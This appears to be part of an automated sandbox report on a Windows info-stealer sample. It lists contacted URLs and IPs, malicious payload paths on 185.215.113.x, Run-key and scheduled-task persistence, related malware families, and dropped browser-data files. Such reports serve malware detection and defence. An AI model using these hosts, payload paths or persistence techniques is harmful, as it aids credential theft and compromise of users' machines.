http://185.215.113.206/T	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.2160637336.00000000007D4000.00000040.00000001.01000000.00000003.sdmp	false		high
https://fleez-inc.sbs/apit	c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2189602429.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.206/r	82b4c5cad2.exe, 0000000E.00000002.2486797329.0000000001837000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/w	c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/softokn3.dllP	file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fleez-inc.sbs/nRv	c3e1e78f6d.exe, 00000011.00000003.2632722456.000000000100E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2638262334.000000000100A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2638327582.000000000100E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleez-inc.sbs/o	c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/V	c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/	c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2621266837.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2743711813.0000000001010000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728544166.000000000100A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728824571.000000000100E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/S	c3e1e78f6d.exe, 0000000D.00000003.2469989479.0000000001538000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2482197215.0000000001538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/ept-Ra	c3e1e78f6d.exe, 0000000D.00000003.2481952263.000000000156D000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2496648993.000000000156D000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2622414625.0000000001568000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2436690811.000000000156E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2461507876.000000000156A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604699653.0000000001567000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2485579404.000000000156D000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2435330093.000000000156E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp, 82b4c5cad2.exe, 0000000E.00000002.2486797329.00000000017DE000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll=	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/K	c3e1e78f6d.exe, 00000011.00000003.2579245293.0000000001044000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.206	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.150.243	fleez-inc.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554768
Start date and time:	2024-11-12 21:20:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/46@7/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 74.125.71.84, 172.217.18.14, 172.217.18.3, 34.104.35.123, 142.250.181.227, 142.250.185.202, 216.58.212.170, 142.250.185.106, 142.250.185.234, 172.217.16.202, 142.250.185.74, 216.58.206.74, 142.250.185.170, 172.217.18.10, 142.250.184.234, 142.250.74.202, 142.250.186.74, 142.250.186.138, 216.58.206.42, 142.250.186.106, 142.250.185.138, 199.232.214.172
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:21:44	API Interceptor	7x Sleep call for process: file.exe modified
15:22:01	API Interceptor	12974434x Sleep call for process: skotes.exe modified
15:22:11	API Interceptor	25x Sleep call for process: c3e1e78f6d.exe modified
20:21:48	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:22:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c3e1e78f6d.exe C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
20:22:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 82b4c5cad2.exe C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe
20:22:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run accd68d705.exe C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe
20:22:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c3e1e78f6d.exe C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
20:22:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 82b4c5cad2.exe C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe
20:22:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run accd68d705.exe C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.46
	original.eml	Get hash	malicious	Unknown	Browse	142.250.185.142
	https://sites.google.com/lecollectivem.com/rfp/home	Get hash	malicious	Unknown	Browse	142.250.185.206
	https://oqumcrpv8e.beefreecontent.com	Get hash	malicious	Unknown	Browse	142.250.185.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.110
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	142.250.186.46
	https://sites.google.com/worth.com/rfp/home	Get hash	malicious	Unknown	Browse	142.250.185.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.206
	http://sisteraboveaddition.com	Get hash	malicious	Unknown	Browse	142.250.185.174
fleez-inc.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.0.123
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.0.123
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	188.114.96.3
	Scan_7619532.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	1.1.1.1
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse	104.17.24.14
	pdfguruhub.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Yeni sipari#U015f _TR-59647-WJO-001.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://sawfish-groundhog-d6h6.squarespace.com/	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	Malicious PDF.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://disq.us/?url=https%3A%2F%2Fntx.redblocks.io%2F&key=sKOAfZD3HOV0MD3CksmWcg	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUM1RXUzBHU1RDUjlQOFBPUUE4QVRaS0pPSC4u	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://sites.google.com/lecollectivem.com/rfp/home	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://alessiabelltravel.com	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://lnkfwd.com/u/MhDkLABR	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.150.243
	Yeni sipari#U015f _TR-59647-WJO-001.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	Salary Amendment.xlsx	Get hash	malicious	Unknown	Browse	172.67.150.243
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	Viridium-gruppe shared ''v_iridium-gruppe_441826776_12.11.2024''.msg	Get hash	malicious	Unknown	Browse	172.67.150.243

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGHIJEHJDHIDHIDAEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BFHDHJKKJDHJJJJKEGHIDGDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAEBGHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
